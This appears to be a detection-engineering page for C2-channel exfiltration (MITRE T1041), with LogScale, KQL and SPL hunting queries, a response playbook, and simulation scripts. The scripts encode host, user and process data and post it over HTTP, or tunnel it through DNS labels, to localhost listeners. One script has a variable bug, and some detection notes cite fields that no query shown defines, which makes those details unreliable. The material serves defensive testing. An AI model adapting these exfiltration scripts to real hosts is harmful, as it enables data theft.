T1041 CrowdStrike LogScale · LogScale

Detect Exfiltration Over C2 Channel in CrowdStrike LogScale

Adversaries may steal data by exfiltrating it over an existing command and control channel. Stolen data is encoded into the normal communications channel using the same protocol as command and control communications. This technique is particularly challenging to detect because exfiltration traffic is indistinguishable from regular C2 beaconing — adversaries embed collected data inside HTTP POST bodies, DNS query labels, custom binary protocol frames, or other C2 protocol fields. Detection requires correlating large outbound data volumes, repeated connection patterns, and sensitive file access rather than inspecting payload content. Real-world actors observed using this technique include Scattered Spider (VMware vCenter via Teleport), OilRig/APT34 (OneDrive-based C2), and malware families PoetRAT, Machete, Shark, StrelaStealer, BeaverTail, SLOTHFULMEDIA, Sagerunex, and Bandook. The technique spans Windows, Linux, macOS, and ESXi platforms and commonly exploits encrypted C2 channels (HTTPS, DNS-over-HTTPS) to blend with legitimate traffic.

MITRE ATT&CK

Tactic
Exfiltration
Technique
T1041 Exfiltration Over C2 Channel
Canonical reference
https://attack.mitre.org/techniques/T1041/

LogScale Detection Query

CrowdStrike LogScale (LogScale)
cql
#event_simpleName = NetworkConnectIP4
| !cidr(RemoteIP, subnet="10.0.0.0/8")
| !cidr(RemoteIP, subnet="172.16.0.0/12")
| !cidr(RemoteIP, subnet="192.168.0.0/16")
| !cidr(RemoteIP, subnet="127.0.0.0/8")
| !cidr(RemoteIP, subnet="169.254.0.0/16")
| regex("(?i)(powershell\.exe|pwsh\.exe|cmd\.exe|wscript\.exe|cscript\.exe|mshta\.exe|rundll32\.exe|regsvr32\.exe|certutil\.exe|python[23]?\.exe|ruby\.exe|perl\.exe|curl\.exe|wget\.exe|bitsadmin\.exe|ncat?\.exe)", field=ImageFileName)
| groupBy(
    [ComputerName, UserName, ImageFileName, CommandLine],
    function=[
      count(as=ConnectionCount),
      countDistinct(RemoteIP, as=UniqueRemoteIPs),
      collect(RemoteIP, limit=10, as=RemoteIPList),
      collect(RemotePort, limit=10, as=RemotePorts),
      sum(BytesSent, as=TotalBytesSent),
      sum(BytesReceived, as=TotalBytesReceived),
      min(@timestamp, as=FirstSeen),
      max(@timestamp, as=LastSeen)
    ]
  )
| IsHighVolume := if(TotalBytesSent > 1048576, 1, 0)
| IsHighFrequency := if(ConnectionCount > 20, 1, 0)
| IsSingleDestination := if(UniqueRemoteIPs == 1, 1, 0)
| SafeBytesReceived := if(TotalBytesReceived > 0, TotalBytesReceived, 1)
| ExfilRatio := TotalBytesSent / SafeBytesReceived
| HighExfilRatio := if(ExfilRatio > 5.0, 1, 0)
| ExfilScore := IsHighVolume + IsHighFrequency + IsSingleDestination + HighExfilRatio
| ExfilScore >= 2
| SessionDurationSec := (LastSeen - FirstSeen) / 1000
| AvgBeaconIntervalSec := if(ConnectionCount > 1 AND SessionDurationSec > 0,
    round(SessionDurationSec / (ConnectionCount - 1)), null())
| sort(ExfilScore, order=desc)
| select([ComputerName, UserName, ImageFileName, CommandLine, ConnectionCount,
    UniqueRemoteIPs, RemoteIPList, RemotePorts, TotalBytesSent, TotalBytesReceived,
    ExfilRatio, AvgBeaconIntervalSec, IsHighVolume, IsHighFrequency,
    IsSingleDestination, HighExfilRatio, ExfilScore, FirstSeen, LastSeen])
high severity high confidence

CrowdStrike LogScale query using native Falcon NetworkConnectIP4 telemetry to detect C2-channel exfiltration. Groups outbound connections from high-risk processes to public IPs and scores each group on four axes: byte volume (>1 MB), connection frequency (>20), single-destination clustering, and sent/received byte ratio (>5:1 indicates asymmetric upload consistent with exfil). Triggers at a composite score of 2+, matching the KQL detection sensitivity. Pair with a DnsRequest-based hunting query to catch DNS-over-HTTPS exfiltration from the same process tree.

Data Sources

CrowdStrike Falcon Endpoint Detection (EDR) — NetworkConnectIP4 eventsCrowdStrike Falcon Data Replicator (FDR) streaming to LogScaleLogScale with Falcon SIEM Connector

Required Tables

NetworkConnectIP4ProcessRollup2

False Positives & Tuning

  • CrowdStrike Falcon sensor itself (CSFalconService) communicating with Falcon cloud infrastructure — exclude by adding ImageFileName matches for the Falcon sensor binary or CrowdStrike's published cloud IP ranges to the CIDR exclusion filters
  • PowerShell DSC (Desired State Configuration) or Invoke-WebRequest in large-scale configuration management deployments making frequent calls to a single management endpoint — whitelist known management server IPs or SCCM/Ansible controller source IPs
  • Python-based ML or data science workloads downloading training datasets or pushing model artifacts to cloud object storage with high byte-volume ratios — filter by data science workstation hostname patterns or known cloud provider IP CIDR blocks (AWS S3, GCS, Azure Blob)

Other platforms for T1041


Testing Methodology

Validate this detection against 4 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1 PowerShell HTTP POST Exfiltration Over Simulated C2 Channel

    Expected signal: Sysmon Event ID 1: Process Create — powershell.exe with CommandLine containing Invoke-WebRequest, -Method POST, and http://127.0.0.1:8080/beacon. Sysmon Event ID 3: Network Connection — powershell.exe connecting to 127.0.0.1:8080. PowerShell ScriptBlock Log Event ID 4104 capturing the full script including the base64-encoded data construction. DeviceNetworkEvents in MDE: ConnectionSuccess or ConnectionFailed (depending on listener) with InitiatingProcessFileName=powershell.exe, RemoteIP=127.0.0.1, RemotePort=8080.

  2. Test 2 curl Multi-Connection Data Exfiltration Beaconing Pattern

    Expected signal: 25x Sysmon Event ID 3: Network Connection events with Image=curl.exe (or full path), DestinationIp=127.0.0.1, DestinationPort=8080, Initiated=true. DeviceNetworkEvents: 25 ConnectionSuccess/ConnectionFailed records for curl.exe to 127.0.0.1:8080. The aggregate ConnectionCount of 25 crosses the MinConnectionCount=20 threshold in the KQL detection query. SPL ExfilScore increases as IsHighFrequency becomes 1 once count exceeds 20.

  3. Test 3 DNS Data Exfiltration via Encoded Subdomain Labels

    Expected signal: Sysmon Event ID 22 (DNS Query): 10 DNS query events with QueryName containing 40-55 character first labels encoding the Base64 data, initiated by nslookup.exe. The DNS hunting query triggers on LongestLabel > 40 and QueryCount > 5 from the same process. Windows DNS Client Event Log may also record the queries. The queries will fail to resolve (no listener on 127.0.0.1:53) but the Sysmon Event ID 22 fires on the query attempt regardless.

  4. Test 4 Linux curl Data Exfiltration via HTTP POST

    Expected signal: auditd: SYSCALL records for execve (curl), connect() calls to 127.0.0.1:8080, and read() on /etc/hostname and /proc. Sysmon for Linux Event ID 3: Network Connection events for curl process. Linux audit log (if auditd configured with network rules): socket()/connect() syscalls from curl with destination 127.0.0.1:8080. CommonSecurityLog or Syslog in Sentinel if auditd logs are forwarded: 15 connection records with consistent user-agent string indicating automated beaconing. The deceptive Windows user-agent string on a Linux process is itself anomalous.


Response Playbook

Triage

  1. Identify the process responsible — examine InitiatingProcessFileName and InitiatingProcessCommandLine. Is this a known process or a renamed legitimate binary (compare hash against known-good)? Check parent process to determine how it was spawned.
  2. Quantify data volume — if BytesSent is available in DeviceNetworkEvents, calculate total megabytes sent to the destination IP over the past 24-72 hours. Volume > 100MB is critical. Check when this activity started vs. when the process was first seen on the endpoint.
  3. Profile the destination IP — run the C2 IP through threat intelligence (VirusTotal, Shodan, AbuseIPDB, your TIP). Identify the hosting provider and registrar. New domains (< 30 days) with privacy-protected WHOIS and hosting on bulletproof providers are high-severity indicators.
  4. Check process hash — submit the hash of the connecting process to your TIP or VirusTotal. If legitimate (e.g., powershell.exe), verify the file is the authentic Microsoft-signed binary using: Get-AuthenticodeSignature 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'
  5. Reconstruct data collected — review DeviceFileEvents for files read by the process in the 1-2 hours before network activity began. Look for bulk reads of document files, database files, or credential stores. Check if staging archives (zip, 7z, tar) were created.
  6. Identify lateral movement — check if the same C2 IP appears in network events from other endpoints (possible worm propagation or multi-host compromise). Query: DeviceNetworkEvents | where RemoteIP == '<C2_IP>' | summarize Hosts=dcount(DeviceName) by RemoteIP
  7. Check for persistence — if the process was spawned by a scheduled task, service, or registry run key, the actor likely has durable access. Check Sysmon Event IDs 12/13 for registry modifications and Event ID 7045 for new service creation around the same timestamp.

Containment

  1. Immediately isolate the affected endpoint via EDR network isolation or VLAN change — this severs the active C2 channel and stops ongoing exfiltration without destroying volatile memory state.
  2. Block the C2 IP and associated domains at the perimeter firewall, proxy, and DNS resolver (sinkhole the domain). Verify blocking is effective by checking firewall deny logs — do not rely solely on endpoint-level blocking.
  3. If a user account was used by the malicious process, disable the account in Active Directory and revoke all active sessions including cloud SSO tokens (Entra ID: Revoke Sign-in Sessions). If it was a service account, rotate its credentials and review all services using it.
  4. Capture a memory dump of the compromised process before termination: procdump.exe -ma <PID> C:\evidence\malware_<PID>.dmp — this preserves decrypted C2 communications, encryption keys, and injected shellcode for forensic analysis.
  5. Pull a full packet capture from the endpoint's last 30 minutes if your EDR or network tap retains pcap — encrypted C2 traffic metadata (packet timing, size patterns, TLS fingerprint via JA3/JA3S) provides attribution data even without decryption.
  6. If sensitive data was confirmed exfiltrated (PII, credentials, financials), initiate your data breach notification process per regulatory requirements (GDPR 72-hour notification, state breach laws) and notify legal/privacy counsel immediately.

Evidence Collection

  1. Process memory dump — capture before killing: procdump.exe -ma <PID> <output_path>. Contains decrypted C2 channel content, staging buffers, and embedded strings (C2 URLs, encryption keys, operator notes).
  2. Network packet capture — retrieve any retained pcap from endpoint security tools, network taps, or cloud flow logs. Even without decryption, TLS metadata (JA3/JA3S fingerprints, SNI, certificate details) enables attribution.
  3. Sysmon Event ID 3 logs — full history of outbound connections from the process including timestamps, destination IPs, destination ports, and protocols. Export from SIEM for the full activity window.
  4. DeviceFileEvents/Sysmon Event ID 11 — files created by the process (staging archives, output files). Recover these from the endpoint before they are deleted. Check recycle bin and temp directories.
  5. DeviceFileEvents reads — inventory all files read by the malicious process to determine what was collected and potentially exfiltrated. Cross-reference with sensitive data inventory.
  6. PowerShell ScriptBlock Logs (Event ID 4104) — if PowerShell was involved, these capture the full deobfuscated script execution including C2 URLs, collection commands, and encoding routines.
  7. Prefetch files — C:\Windows\Prefetch\ contains evidence of process execution even after file deletion, with timestamps and loaded DLL names. Collect all .pf files for the malicious process name.
  8. Registry autoruns — export HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run, HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run, and scheduled tasks (schtasks /query /fo CSV /v) to identify persistence mechanisms.
  9. Browser/application credential stores — if the process accessed credential databases (Chrome Login Data, Firefox logins.json, KeePass *.kdbx), treat those credentials as compromised and rotate immediately.
  10. NetFlow/firewall logs — pull complete flow records for the C2 IP from your network perimeter for the prior 30 days to establish the full activity timeline and quantify total exfiltrated data volume.

Escalation Criteria

  • !Data volume exceeds 10 MB sent to an unrecognized external IP — at this scale, meaningful file contents have been transferred regardless of what the files were.
  • !Sensitive data confirmed in file access logs — process read credential stores (*.kdbx, SAM, NTDS.dit), PII-containing databases, financial records, or intellectual property (CAD files, source code).
  • !C2 IP matches known threat actor infrastructure in threat intelligence (attributed to a specific APT group or criminal campaign) — this elevates a potential incident to a confirmed intrusion.
  • !Evidence of lateral movement — the C2 connection originates from a server, domain controller, or other high-value target, or the same C2 IP appears across multiple endpoints.
  • !Process is running as SYSTEM, a domain admin, or a service account with broad network access — elevated privilege significantly increases the blast radius of the compromise.
  • !Exfiltration continues after initial detection and alerting — a persistent actor who re-establishes C2 after an alert suggests an advanced operator who has multiple persistence mechanisms.
  • !Evidence of credential exfiltration (LSA secrets, DPAPI blobs, browser credentials accessed) — treat all passwords and secrets accessible from the compromised account as fully compromised.

Investigation Guide

Related Techniques

Forensic Artifacts

  • >Windows Event Log: Security Event ID 5156 (Windows Filtering Platform permitted connection) — records each outbound connection with process ID, remote IP, and port. Correlate with process creation events to attribute by process name.
  • >Sysmon Event ID 3 (Network Connection) — detailed outbound connection records including process image path, command line, user, destination IP/port, and connection timestamp.
  • >Sysmon Event ID 11 (File Create) — staging archives created by the exfiltrating process. Check %TEMP%, %APPDATA%, and C:\ProgramData\ for recently created zip/7z/tar files with anomalous names.
  • >Browser/TLS artifacts — JA3/JA3S TLS fingerprints from network pcap identify C2 framework (Cobalt Strike, Metasploit, Sliver have characteristic TLS fingerprints). Extract via Zeek, Suricata, or NetworkMiner.
  • >Process memory strings — after dumping process memory with procdump, run: strings -e l <dump.dmp> | grep -E '(http|https|ftp|dns)://' to extract hardcoded C2 URLs.
  • >Shimcache/AppCompatCache (HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\AppCompatCache) — records execution of processes even after they are deleted. Useful for attributing malware that self-deletes.
  • >Prefetch (C:\Windows\Prefetch\) — execution evidence for malicious process with timestamps and loaded DLLs. Parse with Eric Zimmerman's PECmd or Autopsy.
  • >DNS cache — ipconfig /displaydns on the endpoint captures recently resolved domain names associated with C2 infrastructure. Run immediately before isolation to capture before cache expires.
  • >PowerShell ConsoleHost_history.txt — %APPDATA%\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt contains unencoded command history if PowerShell was used for collection or C2.
  • >Windows Security Event ID 4688 (Process Creation with command-line auditing) — corroborates Sysmon process events with an additional independent log source. Check for command line arguments revealing C2 URLs or collection commands.

Tuning Guidance

Begin by inventorying all legitimate high-volume outbound processes in your environment. Common sources of false positives are backup agents (Veeam, Azure Backup), log shippers (Splunk UF, Elastic Agent, Datadog), cloud sync clients (OneDrive, Dropbox), and patch management clients (SCCM, Tanium). For each, create exclusions based on specific process hashes (not just names — malware commonly uses renamed legitimate binaries) AND known destination IP ranges (use threat intel-verified cloud provider IP ranges from Microsoft, Google, Amazon, etc.). Never exclude an entire process name globally — always pair it with a destination IP or CIDR range. Tune the BytesSent threshold (MinBytesSent) upward in high-data-volume environments — start at 10MB if 1MB generates too many false positives from legitimate backup traffic. For the connection count threshold (MinConnectionCount), establish a baseline of your most frequent legitimate connecting processes over 30 days, then set the threshold at the 99th percentile + 20%. For DNS hunting queries, build an allowlist of known-good long-subdomain patterns (CDN URLs, certain AWS/Azure service URLs have legitimate long labels). Consider deploying Zeek on your network perimeter and enabling the DNS analyzer to get baseline data on subdomain label lengths before tuning the DNS hunting query threshold. JA3/JA3S TLS fingerprint allowlisting is highly effective at reducing false positives for known C2 framework detection when combined with this behavioral detection.


Hunting Queries

Hunt for DNS-based C2 exfiltration by identifying DNS queries with anomalously long subdomain labels. Adversaries encode exfiltrated data (Base32, Base64, hex) into DNS subdomain labels to tunnel data through DNS channels. Legitimate domains rarely have first labels exceeding 40 characters — queries of this length strongly suggest encoded data transmission. High volumes of unique long-subdomain queries to the same apex domain indicate active DNS tunneling.

Hunting — KQL
kql
// Hunt for DNS-based C2 exfiltration: unusually long DNS query labels encoding exfiltrated data
DeviceDnsEvents
| where Timestamp > ago(7d)
| where QueryType in ("A", "TXT", "AAAA", "CNAME", "MX")
| extend LabelCount = countof(QueryName, ".")
| extend LongestLabel = max_of(
    strlen(split(QueryName, ".")[0]),
    strlen(split(QueryName, ".")[1]),
    strlen(split(QueryName, ".")[2]))
| extend TotalQueryLength = strlen(QueryName)
// Suspicious: very long first label (encoded data), or total query > 60 chars
| where LongestLabel > 40 or TotalQueryLength > 60
| summarize
    QueryCount = count(),
    UniqueSubdomains = dcount(QueryName),
    MaxLabelLen = max(LongestLabel),
    MaxQueryLen = max(TotalQueryLength),
    SampleQueries = make_set(QueryName, 5),
    FirstSeen = min(Timestamp),
    LastSeen = max(Timestamp)
    by DeviceName, InitiatingProcessFileName, AccountName,
       BaseDomain = strcat(split(QueryName, ".", -2)[0], ".", split(QueryName, ".", -1)[0])
| where QueryCount > 5 or UniqueSubdomains > 10
| sort by QueryCount desc
Hunting — SPL
spl
index=wineventlog sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=22
| eval QueryLength = len(QueryName)
| eval LabelParts = split(QueryName, ".")
| eval FirstLabelLen = len(mvindex(LabelParts, 0))
| where QueryLength > 60 OR FirstLabelLen > 40
| rex field=QueryName mode=sed "s/^[^.]+\.(.+)$/\1/" 
| rename COMMENT as "BaseDomain is everything after first label"
| stats
    count as QueryCount,
    dc(QueryName) as UniqueSubdomains,
    max(QueryLength) as MaxQueryLength,
    max(FirstLabelLen) as MaxLabelLength,
    values(QueryName) as SampleQueries
    by host, User, Image, QueryName
| where QueryCount > 5 OR MaxLabelLength > 50
| sort - QueryCount

Hunt for processes or source IPs with extreme upload-to-download ratios. Legitimate web browsing, software updates, and most business communications are download-heavy. A process sending 10x more data than it receives is strongly anomalous and characteristic of data exfiltration over C2. This query detects the pattern regardless of which specific process is involved, catching custom malware or living-off-the-land exfiltration tools that evade process-name filters.

Hunting — KQL
kql
// Hunt for processes with extreme upload-to-download ratios — a strong signal of data exfiltration
// Normal browsing/communication is download-heavy; uploading far more than downloading is abnormal
DeviceNetworkEvents
| where Timestamp > ago(7d)
| where RemoteIPType == "Public"
| where ActionType == "ConnectionSuccess"
| where BytesSent > 0
| summarize
    TotalBytesSent = sum(BytesSent),
    TotalBytesReceived = sum(BytesReceived),
    ConnectionCount = count(),
    UniqueDestinations = dcount(RemoteIP),
    Destinations = make_set(RemoteIP, 5)
    by DeviceName, AccountName, InitiatingProcessFileName, InitiatingProcessCommandLine
| where TotalBytesSent > 5242880 // > 5MB sent — filter out trivial traffic
| extend UploadRatio = iff(TotalBytesReceived > 0,
    round(todouble(TotalBytesSent) / todouble(TotalBytesReceived), 2), 9999.0)
| where UploadRatio > 10 // Uploading 10x more than downloading is strongly anomalous
| extend IsScriptEngine = InitiatingProcessFileName has_any (dynamic(
    ["powershell.exe", "pwsh.exe", "cmd.exe", "python.exe", "python3.exe",
     "wscript.exe", "cscript.exe", "mshta.exe"]))
| sort by UploadRatio desc, TotalBytesSent desc
Hunting — SPL
spl
index=proxy OR index=netflow sourcetype=stream:http http_method=POST
NOT (dest_ip="10.*" OR dest_ip="172.16.*" OR dest_ip="192.168.*" OR dest_ip="127.*")
| stats
    sum(bytes_out) as TotalBytesSent,
    sum(bytes_in) as TotalBytesReceived,
    count as RequestCount,
    dc(dest_ip) as UniqueDestinations,
    values(dest_ip) as DestinationIPs,
    values(http_user_agent) as UserAgents
    by src_ip, cs_host
| where TotalBytesSent > 5242880
| eval UploadRatio = round(TotalBytesSent / (TotalBytesReceived + 1), 2)
| where UploadRatio > 10
| eval TotalBytesSentMB = round(TotalBytesSent / 1048576, 2)
| table _time, src_ip, cs_host, DestinationIPs, TotalBytesSentMB, TotalBytesReceived, UploadRatio, RequestCount, UserAgents
| sort - UploadRatio

Hunt for the classic collect-then-exfil attack pattern: archiving tools (7zip, WinRAR, tar) running immediately before large outbound network connections from the same device and account. Legitimate archiving is rarely followed within one hour by significant external uploads. This hunting query catches adversaries who manually stage and compress data before transmitting it through their C2 channel, a pattern observed in many APT intrusions including those using PoetRAT, Machete, and similar RATs.

Hunting — KQL
kql
// Hunt for the collect-then-exfil pattern: archiving tools followed by network activity in same time window
let TimeWindow = 7d;
let LookbackWindow = 1h;
let ArchivingTools = dynamic(["7z.exe", "7za.exe", "7zr.exe", "zip.exe",
    "rar.exe", "winrar.exe", "winzip32.exe", "tar.exe"]);
// Find archiving activity
let ArchivingEvents = DeviceProcessEvents
| where Timestamp > ago(TimeWindow)
| where FileName has_any (ArchivingTools)
| project ArchivingTime = Timestamp, DeviceName, AccountName,
    ArchivingProcess = FileName, ArchivingCommandLine = ProcessCommandLine;
// Find large outbound network connections in the hour after archiving
let PostArchivingNetwork = DeviceNetworkEvents
| where Timestamp > ago(TimeWindow)
| where RemoteIPType == "Public"
| where ActionType == "ConnectionSuccess"
| where BytesSent > 524288 // 512 KB minimum to filter trivial connections
| project NetworkTime = Timestamp, DeviceName, AccountName,
    RemoteIP, BytesSent, NetworkProcess = InitiatingProcessFileName,
    NetworkCommandLine = InitiatingProcessCommandLine;
// Join: same device, same account, network activity within 1 hour after archiving
ArchivingEvents
| join kind=inner PostArchivingNetwork on DeviceName, AccountName
| where NetworkTime between (ArchivingTime .. (ArchivingTime + LookbackWindow))
| project
    DeviceName, AccountName,
    ArchivingTime, ArchivingProcess, ArchivingCommandLine,
    NetworkTime, RemoteIP, BytesSent, NetworkProcess, NetworkCommandLine,
    DelayMinutes = round((toreal(NetworkTime - ArchivingTime)) / 60.0, 1)
| sort by ArchivingTime desc
Hunting — SPL
spl
index=wineventlog sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational"
((EventCode=1 (Image="*\\7z.exe" OR Image="*\\7za.exe" OR Image="*\\rar.exe"
    OR Image="*\\winrar.exe" OR Image="*\\zip.exe" OR Image="*\\tar.exe"))
    OR
 (EventCode=3 Initiated="true"
    NOT (DestinationIp="10.*" OR DestinationIp="192.168.*"
        OR DestinationIp="172.16.*" OR DestinationIp="127.*")))
| bucket _time span=1h
| eval EventType = case(
    EventCode=="1", "ARCHIVE",
    EventCode=="3", "NETWORK",
    "OTHER")
| stats
    values(eval(if(EventType="ARCHIVE", Image, null()))) as ArchivingTools,
    values(eval(if(EventType="NETWORK", DestinationIp, null()))) as RemoteIPs,
    values(eval(if(EventType="ARCHIVE", CommandLine, null()))) as ArchivingCmdLines,
    dc(EventType) as EventTypeCount,
    count as TotalEvents
    by host, User, _time
| where EventTypeCount == 2
| where isnotnull(ArchivingTools) AND isnotnull(RemoteIPs)
| table _time, host, User, ArchivingTools, ArchivingCmdLines, RemoteIPs
| sort - _time

Atomic Red Team Tests

Test 1 PowerShell HTTP POST Exfiltration Over Simulated C2 Channel
windows

Simulates data exfiltration over an HTTP C2 channel using PowerShell's Invoke-WebRequest. Collects system process information, Base64-encodes it (as malware commonly does to encode collected data), and POSTs it to a local listener. This replicates the exact pattern used by PoetRAT, SLOTHFULMEDIA, and other malware that exfiltrate via HTTP POST using the same channel as C2 beacon traffic. Requires a netcat or Python listener on port 8080 to receive the data (or run without listener — the connection attempt itself generates the required telemetry).

Command

powershell
$CollectedData = Get-Process | Select-Object -First 10 Name, Id, CPU, WorkingSet | ConvertTo-Json -Compress
$EncodedData = [Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($CollectedData))
$Body = "{`"session`":`"abc123`",`"data`":`"$EncodedData`"}"
try { Invoke-WebRequest -Uri 'http://127.0.0.1:8080/beacon' -Method POST -Body $Body -ContentType 'application/json' -TimeoutSec 3 -ErrorAction SilentlyContinue } catch {}
Write-Host 'Atomic test T1041 complete - check Sysmon Event ID 1 and 3 for telemetry'

Expected Telemetry

Sysmon Event ID 1: Process Create — powershell.exe with CommandLine containing Invoke-WebRequest, -Method POST, and http://127.0.0.1:8080/beacon. Sysmon Event ID 3: Network Connection — powershell.exe connecting to 127.0.0.1:8080. PowerShell ScriptBlock Log Event ID 4104 capturing the full script including the base64-encoded data construction. DeviceNetworkEvents in MDE: ConnectionSuccess or ConnectionFailed (depending on listener) with InitiatingProcessFileName=powershell.exe, RemoteIP=127.0.0.1, RemotePort=8080.

Expected Detection

KQL: ExfilScore triggers on IsHighFrequency if run repeatedly, and HasSensitiveFileAccess if process reads files. SPL: ConnectionCount increases toward threshold with each repeated execution. The Invoke-WebRequest pattern also triggers T1059.001 PowerShell detection rules. A dedicated C2 exfil alert fires when BytesSent accumulates above threshold.

Test 2 curl Multi-Connection Data Exfiltration Beaconing Pattern
windows

Simulates a C2 agent that exfiltrates data in chunks via repeated HTTP POST requests using curl — matching the behavior of malware families like Shark and OutSteel that upload files over HTTP C2 channels. Runs 25 connection attempts to localhost to cross the MinConnectionCount threshold in the detection query. Each request includes a small encoded data payload simulating chunked file exfiltration.

Command

powershell
for ($i = 1; $i -le 25; $i++) { $chunk = [Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes("chunk_${i}_" + ('X' * 100))); try { curl.exe -s -X POST -H 'Content-Type: application/octet-stream' -d $chunk http://127.0.0.1:8080/upload --connect-timeout 1 2>$null } catch {} ; Start-Sleep -Milliseconds 200 }
Write-Host 'Beaconing simulation complete: 25 connection attempts generated'

Expected Telemetry

25x Sysmon Event ID 3: Network Connection events with Image=curl.exe (or full path), DestinationIp=127.0.0.1, DestinationPort=8080, Initiated=true. DeviceNetworkEvents: 25 ConnectionSuccess/ConnectionFailed records for curl.exe to 127.0.0.1:8080. The aggregate ConnectionCount of 25 crosses the MinConnectionCount=20 threshold in the KQL detection query. SPL ExfilScore increases as IsHighFrequency becomes 1 once count exceeds 20.

Expected Detection

SPL: ExfilScore >= 2 triggers when IsHighFrequency=1 AND IsSingleDestination=1 (both 127.0.0.1 connections). KQL: HighVolumeOutbound fires on ConnectionCount > MinConnectionCount (20). The beaconing pattern hunting query identifies the regular ~200ms interval as IsRegularBeacon=1.

Test 3 DNS Data Exfiltration via Encoded Subdomain Labels
windows

Simulates DNS-based C2 data exfiltration by encoding sensitive data (hostname and username) into DNS subdomain labels and issuing DNS queries. This technique is used by DnsSystem malware and other DNS C2 tools that tunnel exfiltrated data through DNS queries to avoid triggering HTTP-based detections. Each query encodes a chunk of data in the subdomain, which the adversary's authoritative DNS server receives and reassembles. Uses nslookup against localhost to avoid actual external DNS resolution.

Command

powershell
$SensitiveData = "$env:COMPUTERNAME-$env:USERNAME-$env:USERDOMAIN"
$Encoded = [Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($SensitiveData)).Replace('=','').Replace('+','a').Replace('/','b').Substring(0, [Math]::Min(50, $Encoded.Length))
for ($i = 0; $i -lt 10; $i++) { $label = "${Encoded}${i}chunk"; nslookup "$label.df00tech-test.internal" 127.0.0.1 2>$null }
Write-Host 'DNS exfil simulation complete: 10 long-subdomain queries generated'

Expected Telemetry

Sysmon Event ID 22 (DNS Query): 10 DNS query events with QueryName containing 40-55 character first labels encoding the Base64 data, initiated by nslookup.exe. The DNS hunting query triggers on LongestLabel > 40 and QueryCount > 5 from the same process. Windows DNS Client Event Log may also record the queries. The queries will fail to resolve (no listener on 127.0.0.1:53) but the Sysmon Event ID 22 fires on the query attempt regardless.

Expected Detection

KQL DNS hunting query: LongestLabel > 40 triggers, QueryCount = 10 > threshold of 5. UniqueSubdomains = 10 indicates encoding variation consistent with chunked data. SPL DNS hunting query: QueryLength > 60 triggers on the total query length, FirstLabelLen > 40 on the encoded data label. Alert confidence is medium given single-host testing environment.

Test 4 Linux curl Data Exfiltration via HTTP POST
linux

Simulates data exfiltration over a C2 channel on Linux/macOS using curl to POST system information (hostname, running processes, network configuration) to a localhost endpoint. This replicates the behavior observed in Linux-targeting malware that uses HTTP C2 channels for both command receipt and data exfiltration, including Sagerunex and custom implants used by Chinese APT groups. Run this test on Linux or macOS endpoints with Sysmon for Linux or auditd configured.

Command

bash
HOSTNAME=$(hostname)
USER_INFO=$(id)
NET_INFO=$(ip addr 2>/dev/null || ifconfig 2>/dev/null | head -30)
PS_INFO=$(ps aux --sort=-%cpu | head -20 2>/dev/null || ps aux | head -20)
DATA=$(echo "{\"host\":\"$HOSTNAME\",\"user\":\"$USER_INFO\",\"procs\":\"$(echo $PS_INFO | base64 -w0)\"}")
for i in $(seq 1 15); do
  curl -s -X POST \
    -H 'Content-Type: application/json' \
    -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' \
    --connect-timeout 2 \
    -d "$DATA" \
    'http://127.0.0.1:8080/c2/checkin' 2>/dev/null || true
  sleep 0.5
done
echo 'Linux exfil simulation complete'

Expected Telemetry

auditd: SYSCALL records for execve (curl), connect() calls to 127.0.0.1:8080, and read() on /etc/hostname and /proc. Sysmon for Linux Event ID 3: Network Connection events for curl process. Linux audit log (if auditd configured with network rules): socket()/connect() syscalls from curl with destination 127.0.0.1:8080. CommonSecurityLog or Syslog in Sentinel if auditd logs are forwarded: 15 connection records with consistent user-agent string indicating automated beaconing. The deceptive Windows user-agent string on a Linux process is itself anomalous.

Expected Detection

Connection frequency of 15 connections with 0.5 second intervals triggers IsRegularBeacon (AvgBeaconIntervalSec ~0.5) and IsHighFrequency in SPL. The mismatched User-Agent (Windows browser string from Linux curl process) is detectable in proxy logs and is a strong indicator of C2 traffic disguise. KQL DeviceNetworkEvents connection count exceeds MinConnectionCount threshold.

Related Detections

Detection Variants (1)

Different telemetry and tradecraft for the same technique — pick the one that matches the data you collect.